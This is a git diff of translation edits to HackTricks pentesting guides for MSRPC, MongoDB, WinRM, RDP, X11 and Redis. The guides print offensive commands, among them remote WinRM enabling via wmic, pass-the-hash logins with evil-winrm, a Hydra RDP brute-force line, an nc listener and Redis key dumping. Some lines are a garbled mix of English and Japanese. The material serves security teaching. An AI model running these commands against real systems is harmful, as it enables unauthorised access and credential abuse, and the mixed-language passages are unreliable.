AndroL4bは、最新のフレームワーク、チュートリアル、およびリバースエンジニアリングとマルウェア分析のためのさまざまなセキュリティ専門家や研究者からのラボを含む、ubuntu-mateに基づいたAndroidセキュリティ仮想マシンです。
AndroL4bは、ubuntu-mateに基づいたAndroidセキュリティ仮想マシンで、リバースエンジニアリングとマルウェア分析のための最新のフレームワーク、チュートリアル、ラボのコレクションを含んでいます。
## 参考文献
@ -810,7 +810,7 @@ AndroL4bは、最新のフレームワーク、チュートリアル、および
* [https://www.vegabird.com/yaazhini/](https://www.vegabird.com/yaazhini/)
* [https://github.com/abhi-r3v0/Adhrit](https://github.com/abhi-r3v0/Adhrit)
<figure><img src="../../.gitbook/assets/image (380).png" alt=""><figcaption></figcaption></figure>
<figure><img src="/.gitbook/assets/image.png" alt=""><figcaption></figcaption></figure>
[**HackenProof Discord**](https://discord.com/invite/N3FrSbmwdy)サーバーに参加して、経験豊富なハッカーやバグバウンティハンターとコミュニケーションを取りましょう!
@ -826,8 +826,8 @@ AndroL4bは、最新のフレームワーク、チュートリアル、および
[**Discord**](https://discord.com/invite/N3FrSbmwdy)に参加して、今日からトップハッカーとコラボレーションを始めましょう!
{% hint style="success" %}
AWSハッキングを学び、実践する<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
GCPハッキングを学び、実践する<img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
AWSハッキングを学び、実践する:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
GCPハッキングを学び、実践する: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>

View file

@ -15,7 +15,7 @@ Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-s
</details>
{% endhint %}
<figure><img src="../.gitbook/assets/image (380).png" alt=""><figcaption></figcaption></figure>
<figure><img src="/.gitbook/assets/image.png" alt=""><figcaption></figcaption></figure>
Join [**HackenProof Discord**](https://discord.com/invite/N3FrSbmwdy) server to communicate with experienced hackers and bug bounty hunters!
@ -32,7 +32,7 @@ Stay informed with the newest bug bounties launching and crucial platform update
## 基本情報
Microsoft Remote Procedure Call (MSRPC) プロトコルは、クライアントサーバーモデルであり、プログラムが別のコンピュータにあるプログラムからサービスを要求することを可能にします。このプロトコルは、ネットワークの詳細を理解することなく機能します。最初はオープンソースソフトウェアから派生し、その後Microsoftによって開発され、著作権が付与されました。
Microsoft Remote Procedure Call (MSRPC) プロトコルは、クライアント-サーバーモデルであり、プログラムが別のコンピュータにあるプログラムからサービスを要求することを可能にし、ネットワークの詳細を理解することなく動作します。このプロトコルは、最初はオープンソースソフトウェアから派生し、その後Microsoftによって開発され、著作権が付与されました。
RPCエンドポイントマッパーは、TCPおよびUDPポート135、TCP 139および445のSMBヌルまたは認証されたセッションで、およびTCPポート593のWebサービスを介してアクセスできます。
```
@ -40,13 +40,13 @@ RPCエンドポイントマッパーは、TCPおよびUDPポート135、TCP 139
```
## MSRPCはどのように機能しますか
クライアントアプリケーションによって開始されるMSRPCプロセスは、ローカルスタブプロシージャを呼び出し、その後クライアントランタイムライブラリと相互作用して、リクエストをサーバーに準備して送信します。これには、パラメータを標準ネットワークデータ表現形式に変換することが含まれます。サーバーがリモートの場合、トランスポートプロトコルの選択はランタイムライブラリによって決定され、RPCがネットワークスタックを通じて配信されることを保証します。
クライアントアプリケーションによって開始されるMSRPCプロセスは、ローカルスタブプロシージャを呼び出し、その後クライアントランタイムライブラリと相互作用して、リクエストをサーバーに準備して送信します。これには、パラメータを標準ネットワークデータ表現形式に変換することが含まれます。サーバーがリモートの場合、トランスポートプロトコルの選択はランタイムライブラリによって決定され、RPCがネットワークスタックを通じて配信されることを保証します。
![https://0xffsec.com/handbook/images/msrpc.png](https://0xffsec.com/handbook/images/msrpc.png)
## **公開されているRPCサービスの特定**
TCP、UDP、HTTP、およびSMBを介したRPCサービスの公開は、RPCロケータサービスおよび個々のエンドポイントをクエリすることによって判断できます。rpcdumpなどのツールは、**IFID**値によって示されるユニークなRPCサービスの特定を容易にし、サービスの詳細と通信バインディングを明らかにします
TCP、UDP、HTTP、およびSMBを介したRPCサービスの公開は、RPCロケータサービスおよび個々のエンドポイントをクエリすることによって判断できます。rpcdumpなどのツールは、**IFID**値によって示されるユニークなRPCサービスの特定を容易にし、サービスの詳細と通信バインディングを明らかにします
```
D:\rpctools> rpcdump [-p port] <IP>
**IFID**: 5a7b91f8-ff00-11d0-a9b2-00c04fb6e6fc version 1.0
@ -117,7 +117,7 @@ The **rpcdump.exe** from [rpctools](https://resources.oreilly.com/examples/97805
* [https://www.cyber.airbus.com/the-oxid-resolver-part-2-accessing-a-remote-object-inside-dcom/](https://www.cyber.airbus.com/the-oxid-resolver-part-2-accessing-a-remote-object-inside-dcom/)
* [https://0xffsec.com/handbook/services/msrpc/](https://0xffsec.com/handbook/services/msrpc/)
<figure><img src="../.gitbook/assets/image (380).png" alt=""><figcaption></figcaption></figure>
<figure><img src="/.gitbook/assets/image.png" alt=""><figcaption></figcaption></figure>
Join [**HackenProof Discord**](https://discord.com/invite/N3FrSbmwdy) server to communicate with experienced hackers and bug bounty hunters!

View file

@ -1,38 +1,38 @@
# 27017,27018 - Pentesting MongoDB
{% hint style="success" %}
AWSハッキングを学び、実践する<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
GCPハッキングを学び、実践する<img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary>HackTricksをサポートする</summary>
<summary>Support HackTricks</summary>
* [**サブスクリプションプラン**](https://github.com/sponsors/carlospolop)を確認してください!
* **💬 [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**Telegramグループ**](https://t.me/peass)に参加するか、**Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**をフォローしてください。**
* **[**HackTricks**](https://github.com/carlospolop/hacktricks)および[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud)のGitHubリポジトリにPRを提出してハッキングトリックを共有してください。**
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
</details>
{% endhint %}
<figure><img src="../.gitbook/assets/image (380).png" alt=""><figcaption></figcaption></figure>
<figure><img src="/.gitbook/assets/image.png" alt=""><figcaption></figcaption></figure>
経験豊富なハッカーやバグバウンティハンターとコミュニケーションを取るために[**HackenProof Discord**](https://discord.com/invite/N3FrSbmwdy)サーバーに参加してください!
Join [**HackenProof Discord**](https://discord.com/invite/N3FrSbmwdy) server to communicate with experienced hackers and bug bounty hunters!
**ハッキングの洞察**\
ハッキングのスリルと課題に深く掘り下げたコンテンツに参加する
**Hacking Insights**\
Engage with content that delves into the thrill and challenges of hacking
**リアルタイムハックニュース**\
リアルタイムのニュースと洞察を通じて、急速に変化するハッキングの世界に遅れずについていく
**Real-Time Hack News**\
Keep up-to-date with fast-paced hacking world through real-time news and insights
**最新の発表**\
新しいバグバウンティの開始や重要なプラットフォームの更新について情報を得る
**Latest Announcements**\
Stay informed with the newest bug bounties launching and crucial platform updates
**[**Discord**](https://discord.com/invite/N3FrSbmwdy)に参加して、今日からトップハッカーとコラボレーションを始めましょう!**
**Join us on** [**Discord**](https://discord.com/invite/N3FrSbmwdy) and start collaborating with top hackers today!
## 基本情報
**MongoDB**は、さまざまな形式のデータを処理するために**ドキュメント指向データベースモデル**を使用する**オープンソース**のデータベース管理システムです。ビッグデータ分析やコンテンツ管理などのアプリケーションで、非構造化または半構造化データを管理するための柔軟性とスケーラビリティを提供します。**デフォルトポート** 27017, 27018
**MongoDB**は、さまざまな形式のデータを処理するために**ドキュメント指向データベースモデル**を使用する**オープンソース**のデータベース管理システムです。ビッグデータ分析やコンテンツ管理などのアプリケーションで、非構造化または半構造化データを管理するための柔軟性とスケーラビリティを提供します。**デフォルトポート:** 27017, 27018
```
PORT STATE SERVICE VERSION
27017/tcp open mongodb MongoDB 2.6.9 2.6.9
@ -118,7 +118,7 @@ If you are root you can **modify** the **mongodb.conf** file so no credentials a
***
<figure><img src="../.gitbook/assets/image (380).png" alt=""><figcaption></figcaption></figure>
<figure><img src="/.gitbook/assets/image.png" alt=""><figcaption></figcaption></figure>
Join [**HackenProof Discord**](https://discord.com/invite/N3FrSbmwdy) server to communicate with experienced hackers and bug bounty hunters!

View file

@ -15,7 +15,7 @@ Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-s
</details>
{% endhint %}
<figure><img src="../.gitbook/assets/image (380).png" alt=""><figcaption></figcaption></figure>
<figure><img src="/.gitbook/assets/image.png" alt=""><figcaption></figcaption></figure>
Join [**HackenProof Discord**](https://discord.com/invite/N3FrSbmwdy) server to communicate with experienced hackers and bug bounty hunters!
@ -32,9 +32,9 @@ Stay informed with the newest bug bounties launching and crucial platform update
## WinRM
[Windows Remote Management (WinRM)](https://msdn.microsoft.com/en-us/library/windows/desktop/aa384426\(v=vs.85\).aspx) は、**Microsoft によって強調されたプロトコル**で、**HTTP(S) を介して Windows システムのリモート管理を可能にし**、その過程で SOAP を活用します。これは基本的に WMI によって動かされ、WMI 操作のための HTTP ベースのインターフェースとして自らを提示します。
[Windows Remote Management (WinRM)](https://msdn.microsoft.com/en-us/library/windows/desktop/aa384426\(v=vs.85\).aspx) は、**Microsoft によって強調されたプロトコル**であり、**HTTP(S) を介して Windows システムのリモート管理を可能にし**、その過程で SOAP を活用します。これは基本的に WMI によって動かされ、WMI 操作のための HTTP ベースのインターフェースとして機能します。
WinRM がマシンに存在することで、SSH が他のオペレーティングシステムで機能するのと同様に、PowerShell を介した簡単なリモート管理が可能になります。WinRM が動作しているかどうかを確認するには、特定のポートが開いているかをチェックすることが推奨されます:
WinRM がマシンに存在することで、SSH が他のオペレーティングシステムで機能するのと同様に、PowerShell を介したリモート管理が簡単に行えます。WinRM が動作しているかどうかを確認するには、特定のポートが開いているかどうかをチェックすることが推奨されます:
* **5985/tcp (HTTP)**
* **5986/tcp (HTTPS)**
@ -43,14 +43,14 @@ WinRM がマシンに存在することで、SSH が他のオペレーティン
### **WinRM セッションの開始**
WinRM のために PowerShell を構成するには、Microsoft の `Enable-PSRemoting` cmdlet が使用され、リモート PowerShell コマンドを受け入れるようにコンピュータを設定します。昇格された PowerShell アクセスを持つことで、次のコマンドを実行してこの機能を有効にし、任意のホストを信頼済みとして指定できます:
WinRM のために PowerShell を構成するには、Microsoft の `Enable-PSRemoting` cmdlet が使用され、リモート PowerShell コマンドを受け入れるようにコンピュータを設定します。昇格された PowerShell アクセスを持つ場合、次のコマンドを実行してこの機能を有効にし、任意のホストを信頼済みとして指定できます:
```powershell
Enable-PSRemoting -Force
Set-Item wsman:\localhost\client\trustedhosts *
```
このアプローチは、`trustedhosts` 設定にワイルドカードを追加することを含みます。このステップは、その影響を考慮する必要があるため、慎重な検討が求められます。また、攻撃者のマシンでネットワークタイプを「Public」から「Work」に変更する必要があることも指摘されています。
さらに、WinRMは `wmic` コマンドを使用して**リモートで**アクティブ化できます。以下に示します:
さらに、WinRMは `wmic` コマンドを使用して**リモートで**有効化できます。以下のように示されます:
```powershell
wmic /node:<REMOTE_HOST> process call create "powershell enable-psremoting -force"
```
@ -64,11 +64,11 @@ wmic /node:<REMOTE_HOST> process call create "powershell enable-psremoting -forc
```bash
Test-WSMan <target-ip>
```
応答には、WinRMが正しく設定されていることを示すプロトコルバージョンとwsmidに関する情報が含まれている必要があります。
応答には、WinRMが正しく設定されていることを示すプロトコルバージョンとwsmidに関する情報が含まれるべきです。
![](<../.gitbook/assets/image (582).png>)
* 逆に、WinRMに対して**構成されていない**ターゲットの場合、詳細な情報は得られず、適切なWinRM設定がないことが強調されます。
* 逆に、WinRMに対して**設定されていない**ターゲットの場合、詳細な情報は得られず、適切なWinRM設定がないことが強調されます。
![](<../.gitbook/assets/image (458).png>)
@ -145,12 +145,12 @@ Invoke-Command -FilePath C:\Path\to\script.ps1 -Session $sess1
`enter-pssession : Connecting to remote server 10.10.10.175 failed with the following error message : The WinRM client cannot process the request. If the authentication scheme is different from Kerberos, or if the client computer is not joined to a domain, then HTTPS transport must be used or the destination machine must be added to the TrustedHosts configuration setting. Use winrm.cmd to configure TrustedHosts. Note that computers in the TrustedHosts list might not be authenticated. You can get more information about that by running the following command: winrm help config. For more information, see the about_Remote_Troubleshooting Help topic.`
クライアントで試してみてください[こちら](https://serverfault.com/questions/657918/remote-ps-session-fails-on-non-domain-server)からの情報):
クライアントでの試行[こちら](https://serverfault.com/questions/657918/remote-ps-session-fails-on-non-domain-server)からの情報):
```ruby
winrm quickconfig
winrm set winrm/config/client '@{TrustedHosts="Computer1,Computer2"}'
```
<figure><img src="../.gitbook/assets/image (380).png" alt=""><figcaption></figcaption></figure>
<figure><img src="/.gitbook/assets/image.png" alt=""><figcaption></figcaption></figure>
[**HackenProof Discord**](https://discord.com/invite/N3FrSbmwdy) サーバーに参加して、経験豊富なハッカーやバグバウンティハンターとコミュニケーションを取りましょう!
@ -163,7 +163,7 @@ winrm set winrm/config/client '@{TrustedHosts="Computer1,Computer2"}'
**最新のお知らせ**\
新しいバグバウンティの開始や重要なプラットフォームの更新について情報を得ましょう
[**Discord**](https://discord.com/invite/N3FrSbmwdy) に参加して、今日からトップハッカーとコラボレーションを始めましょう!
**私たちに参加してください** [**Discord**](https://discord.com/invite/N3FrSbmwdy) 、今日からトップハッカーとコラボレーションを始めましょう!
## LinuxでのWinRM接続
@ -197,7 +197,7 @@ evil-winrm -u <username> -H <Hash> -i <IP>
```
![](<../.gitbook/assets/image (680).png>)
### PS-docker マシンの使用
### PS-dockerマシンの使用
```
docker run -it quickbreach/powershell-ntlm
$creds = Get-Credential
@ -263,7 +263,7 @@ end
* `port:5985 Microsoft-HTTPAPI`
## References
## 参考文献
* [https://blog.ropnop.com/using-credentials-to-own-windows-boxes-part-3-wmi-and-winrm/](https://blog.ropnop.com/using-credentials-to-own-windows-boxes-part-3-wmi-and-winrm/)
@ -304,7 +304,7 @@ Name: Hydra Brute Force
Description: Need User
Command: hydra -t 1 -V -f -l {Username} -P {Big_Passwordlist} rdp://{IP}
```
<figure><img src="../.gitbook/assets/image (380).png" alt=""><figcaption></figcaption></figure>
<figure><img src="/.gitbook/assets/image.png" alt=""><figcaption></figcaption></figure>
経験豊富なハッカーやバグバウンティハンターとコミュニケーションを取るために、[**HackenProof Discord**](https://discord.com/invite/N3FrSbmwdy)サーバーに参加しましょう!
@ -328,8 +328,8 @@ GCPハッキングを学び、実践する<img src="/.gitbook/assets/grte.png
<summary>HackTricksをサポートする</summary>
* [**サブスクリプションプラン**](https://github.com/sponsors/carlospolop)を確認してください!
* 💬 [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**テレグラムグループ**](https://t.me/peass)に参加するか、**Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**をフォローしてください。**
* [**HackTricks**](https://github.com/carlospolop/hacktricks)と[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud)のGitHubリポジトリにPRを提出してハッキングのトリックを共有してください。
* **💬 [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**テレグラムグループ**](https://t.me/peass)に参加するか、**Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**をフォローしてください。**
* **[**HackTricks**](https://github.com/carlospolop/hacktricks)および[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud)のgithubリポジトリにPRを提出してハッキングのトリックを共有してください。**
</details>
{% endhint %}

View file

@ -15,7 +15,7 @@ Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-s
</details>
{% endhint %}
<figure><img src="../.gitbook/assets/image (380).png" alt=""><figcaption></figcaption></figure>
<figure><img src="/.gitbook/assets/image.png" alt=""><figcaption></figcaption></figure>
Join [**HackenProof Discord**](https://discord.com/invite/N3FrSbmwdy) server to communicate with experienced hackers and bug bounty hunters!
@ -39,16 +39,16 @@ Join [**HackenProof Discord**](https://discord.com/invite/N3FrSbmwdy) server to
PORT STATE SERVICE
6000/tcp open X11
```
## Enumeration
## 列挙
**匿名接続**を確認してください
**匿名接続**を確認します
```bash
nmap -sV --script x11-access -p <PORT> <IP>
msf> use auxiliary/scanner/x11/open_x11
```
#### ローカル列挙
ユーザーのホームフォルダにあるファイル **`.Xauthority`** は **X11による認証に使用されます**。 [**こちら**](https://stackoverflow.com/a/37367518) から:
ユーザーのホームフォルダにあるファイル **`.Xauthority`** は **X11による認証に使用されます**。 [**こちら**](https://stackoverflow.com/a/37367518) から:
```bash
$ xxd ~/.Xauthority
00000000: 0100 0006 6d61 6e65 7063 0001 3000 124d ............0..M
@ -56,10 +56,10 @@ $ xxd ~/.Xauthority
00000020: 3100 108f 52b9 7ea8 f041 c49b 85d8 8f58 1...R.~..A.....X
00000030: 041d ef ...
```
> MIT-magic-cookie-1: 128ビットのキー“クッキー”を生成し、それを \~/.XauthorityまたはXAUTHORITY環境変数が指す場所に保存します。クライアントはそれを平文でサーバーに送信しますサーバーはこの“クッキー”のコピーを持っているかどうかを確認し、持っていれば接続が許可されます。キーはDMXによって生成されます。
> MIT-magic-cookie-1: 128ビットのキー“クッキー”を生成し、それを \~/.XauthorityまたはXAUTHORITY環境変数が指す場所に保存します。クライアントはそれを平文でサーバーに送信しますサーバーはこの“クッキー”のコピーを持っているかどうかを確認し、持っていれば接続が許可されます。このキーはDMXによって生成されます。
{% hint style="warning" %}
**クッキーを使用する**には、環境変数を設定する必要があります: **`export XAUTHORITY=/path/to/.Xauthority`**
クッキーを**使用するためには**、環境変数を設定する必要があります: **`export XAUTHORITY=/path/to/.Xauthority`**
{% endhint %}
#### ローカル列挙セッション
@ -130,7 +130,7 @@ Corners: +0+0 -0+0 -0-0 +0-0
```
**XWatchwin**
**ライブビューイング**には、次を使用する必要があります。
**ライブビューイング**には、使用する必要があります。
```bash
./xwatchwin [-v] [-u UpdateTime] DisplayName { -w windowID | WindowName } -w window Id is the one found on xwininfo
./xwatchwin 10.9.xx.xx:0 -w 0x45
@ -163,7 +163,7 @@ nc -lvp 5555
* `port:6000 x11`
<figure><img src="../.gitbook/assets/image (380).png" alt=""><figcaption></figcaption></figure>
<figure><img src="/.gitbook/assets/image.png" alt=""><figcaption></figcaption></figure>
経験豊富なハッカーやバグバウンティハンターとコミュニケーションを取るために、[**HackenProof Discord**](https://discord.com/invite/N3FrSbmwdy)サーバーに参加してください!

View file

@ -1,42 +1,42 @@
# 6379 - Pentesting Redis
{% hint style="success" %}
AWSハッキングを学び、実践する<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
GCPハッキングを学び、実践する<img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary>HackTricksをサポートする</summary>
<summary>Support HackTricks</summary>
* [**サブスクリプションプラン**](https://github.com/sponsors/carlospolop)を確認してください!
* **💬 [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**テレグラムグループ**](https://t.me/peass)に参加するか、**Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**をフォローしてください。**
* **ハッキングのトリックを共有するには、[**HackTricks**](https://github.com/carlospolop/hacktricks)と[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud)のGitHubリポジトリにPRを提出してください。**
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
</details>
{% endhint %}
<figure><img src="../.gitbook/assets/image (380).png" alt=""><figcaption></figcaption></figure>
<figure><img src="/.gitbook/assets/image.png" alt=""><figcaption></figcaption></figure>
[**HackenProof Discord**](https://discord.com/invite/N3FrSbmwdy)サーバーに参加して、経験豊富なハッカーやバグバウンティハンターとコミュニケーションを取りましょう!
Join [**HackenProof Discord**](https://discord.com/invite/N3FrSbmwdy) server to communicate with experienced hackers and bug bounty hunters!
**ハッキングの洞察**\
ハッキングのスリルと課題に深く掘り下げたコンテンツに参加する
**Hacking Insights**\
ハッキングのスリルと課題に深く掘り下げたコンテンツに参加してください
**リアルタイムハックニュース**\
リアルタイムのニュースと洞察を通じて、急速に変化するハッキングの世界に遅れずについてい
**Real-Time Hack News**\
リアルタイムのニュースと洞察を通じて、急速に変化するハッキングの世界に遅れずについていきましょう
**最新の発表**\
新しいバグバウンティの開始や重要なプラットフォームの更新について情報を得る
**Latest Announcements**\
新しいバグバウンティの開始や重要なプラットフォームの更新について最新情報を入手してください
**[**Discord**](https://discord.com/invite/N3FrSbmwdy)に参加して、今日からトップハッカーとコラボレーションを始めましょう!**
**Join us on** [**Discord**](https://discord.com/invite/N3FrSbmwdy) and start collaborating with top hackers today!
## 基本情報
## Basic Information
[ドキュメント](https://redis.io/topics/introduction)から:RedisはオープンソースBSDライセンスのインメモリ**データ構造ストア**で、**データベース**、キャッシュ、メッセージブローカーとして使用されます。
From [the docs](https://redis.io/topics/introduction): RedisはオープンソースBSDライセンスのインメモリ**データ構造ストア**で、**データベース**、キャッシュ、メッセージブローカーとして使用されます。
デフォルトではRedisはプレーンテキストベースのプロトコルを使用しますが、**ssl/tls**を実装することもできることを念頭に置いておく必要があります。[ssl/tlsでRedisを実行する方法はこちら](https://fossies.org/linux/redis/TLS.md)を学んでください
デフォルトではRedisはプレーンテキストベースのプロトコルを使用しますが、**ssl/tls**を実装することもできることを念頭に置いておく必要があります。[ここでssl/tlsを使用してRedisを実行する方法を学んでください](https://fossies.org/linux/redis/TLS.md)
**デフォルトポート:** 6379
**Default port:** 6379
```
PORT STATE SERVICE VERSION
6379/tcp open redis Redis key-value store 4.0.9
@ -63,29 +63,29 @@ redis-cli -h 10.10.10.10 # sudo apt-get install redis-tools
```
-NOAUTH Authentication required.
```
In this last case, this means that **有効な資格情報が必要です** to access the Redis instance.
In this last case, this means that **あなたは有効な認証情報が必要です** to access the Redis instance.
### Redis 認証
**デフォルトでは** Redis can be accessed **資格情報なしで**. However, it can be **設定されて** to support **パスワードのみ、またはユーザー名 + パスワード**.\
It is possible to **パスワードを設定する** in _**redis.conf**_ file with the parameter `requirepass` **または一時的に** until the service restarts connecting to it and running: `config set requirepass p@ss$12E45`.\
Also, a **ユーザー名** can be configured in the parameter `masteruser` inside the _**redis.conf**_ file.
**デフォルトでは** Redis **認証情報なしでアクセス可能です**。しかし、**パスワードのみ、またはユーザー名 + パスワード**をサポートするように **設定することができます**\
_**redis.conf**_ ファイルのパラメータ `requirepass`**パスワードを設定することが可能です** **または一時的に** サービスが再起動するまで接続して実行することで: `config set requirepass p@ss$12E45`\
また、_**redis.conf**_ ファイル内のパラメータ `masteruser`**ユーザー名を設定することができます**
{% hint style="info" %}
If only password is configured the username used is "**default**".\
Also, note that there is **外部から確認する方法はありません** if Redis was configured with only password or username+password.
また、Redis がパスワードのみまたはユーザー名 + パスワードで設定されているかを **外部から確認する方法はありません**
{% endhint %}
In cases like this one you will **有効な資格情報を見つける必要があります** to interact with Redis so you could try to [**ブルートフォース**](../generic-methodologies-and-resources/brute-force.md#redis) it.\
**有効な資格情報が見つかった場合は、接続を確立した後にセッションを認証する必要があります** with the command:
In cases like this one you will **有効な認証情報を見つける必要があります** to interact with Redis so you could try to [**brute-force**](../generic-methodologies-and-resources/brute-force.md#redis) it.\
**有効な認証情報を見つけた場合は、接続を確立した後にセッションを認証する必要があります** with the command:
```bash
AUTH <username> <password>
```
**有効な資格情報**には次のように応答されます: `+OK`
**有効な資格情報**には次のように応答されます: `+OK`
### **認証された列挙**
Redisサーバーが**匿名接続**を許可している場合、または有効な資格情報を取得している場合は、次の**コマンド**を使用してサービスの列挙プロセスを開始できます:
Redisサーバーが**匿名接続**を許可している場合、または有効な資格情報を取得し場合は、次の**コマンド**を使用してサービスの列挙プロセスを開始できます:
```bash
INFO
[ ... Redis response with info ... ]
@ -96,27 +96,27 @@ CONFIG GET *
```
**他のRedisコマンド** [**はこちら**](https://redis.io/topics/data-types-intro) **と** [**こちら**](https://lzone.de/cheat-sheet/Redis)**.**
インスタンスの**Redisコマンドは** _redis.conf_ ファイルで名前を変更したり削除したりできます。例えば、この行はFLUSHDBコマンドを削除します:
インスタンスの**Redisコマンドは** _redis.conf_ **ファイルで名前を変更したり削除したりできます**。例えば、この行はFLUSHDBコマンドを削除します:
```
rename-command FLUSHDB ""
```
Redisサービスを安全に構成する方法についての詳細はこちら: [https://www.digitalocean.com/community/tutorials/how-to-install-and-secure-redis-on-ubuntu-18-04](https://www.digitalocean.com/community/tutorials/how-to-install-and-secure-redis-on-ubuntu-18-04)
また、**`monitor`**コマンドを使用して実行されたRedisコマンドを**リアルタイムで監視**したり、**`slowlog get 25`**を使用して**25の最も遅いクエリ**を取得することもできます。
また、**`monitor`**コマンドを使用して実行されたRedisコマンドを**リアルタイムで監視**したり、**`slowlog get 25`**で**25件の最も遅いクエリ**を取得することもできます。
さらに興味深いRedisコマンドに関する情報はここで見つけることができます: [https://lzone.de/cheat-sheet/Redis](https://lzone.de/cheat-sheet/Redis)
### **データベースのダンプ**
Redis内では、**データベースは0から始まる番号です**。`info`コマンドの出力内の「Keyspace」チャンクで、どのデータベースが使用されているかを確認できます:
Redis内の**データベースは0から始まる番号**です。コマンド`info`の出力内の「Keyspace」チャンクで、使用されているかどうかを確認できます:
![](<../.gitbook/assets/image (766).png>)
または、次のコマンドで全ての**キー空間**(データベース)を取得することもできます:
または、次のコマンドで全ての**キー空間**(データベース)を取得できます:
```
INFO keyspace
```
その例では、**データベース 0 と 1** が使用されています。**データベース 0 には 4 つのキーがあり、データベース 1 には 1 つのキーがあります**。デフォルトでは、Redis はデータベース 0 を使用します。たとえば、データベース 1 をダンプするには、次のようにする必要があります:
その例では、**データベース 0 と 1** が使用されています。**データベース 0 には 4 つのキーがあり、データベース 1 には 1 つのキーがあります**。デフォルトでは、Redis はデータベース 0 を使用します。たとえば、データベース 1 をダンプするには、次のようにする必要があります
```bash
SELECT 1
[ ... Indicate the database ... ]
@ -141,20 +141,20 @@ DUMP <key>
```
**npmを使用してデータベースをダンプする**[ **redis-dump**](https://www.npmjs.com/package/redis-dump) **またはpython** [**redis-utils**](https://pypi.org/project/redis-utils/)
<figure><img src="../.gitbook/assets/image (380).png" alt=""><figcaption></figcaption></figure>
<figure><img src="/.gitbook/assets/image.png" alt=""><figcaption></figcaption></figure>
経験豊富なハッカーやバグバウンティハンターとコミュニケーションを取るために[**HackenProof Discord**](https://discord.com/invite/N3FrSbmwdy)サーバーに参加してください!
経験豊富なハッカーやバグバウンティハンターとコミュニケーションを取るために[**HackenProof Discord**](https://discord.com/invite/N3FrSbmwdy)サーバーに参加してください!
**ハッキングの洞察**\
ハッキングのスリルと課題に深く掘り下げたコンテンツに参加してください
ハッキングのスリルと課題に深く掘り下げたコンテンツに参加しましょう
**リアルタイムハックニュース**\
リアルタイムのニュースと洞察を通じて、急速に進化するハッキングの世界を最新の状態に保ちましょう
リアルタイムのニュースと洞察を通じて、急速に進化するハッキングの世界に遅れずについていきましょう
**最新のお知らせ**\
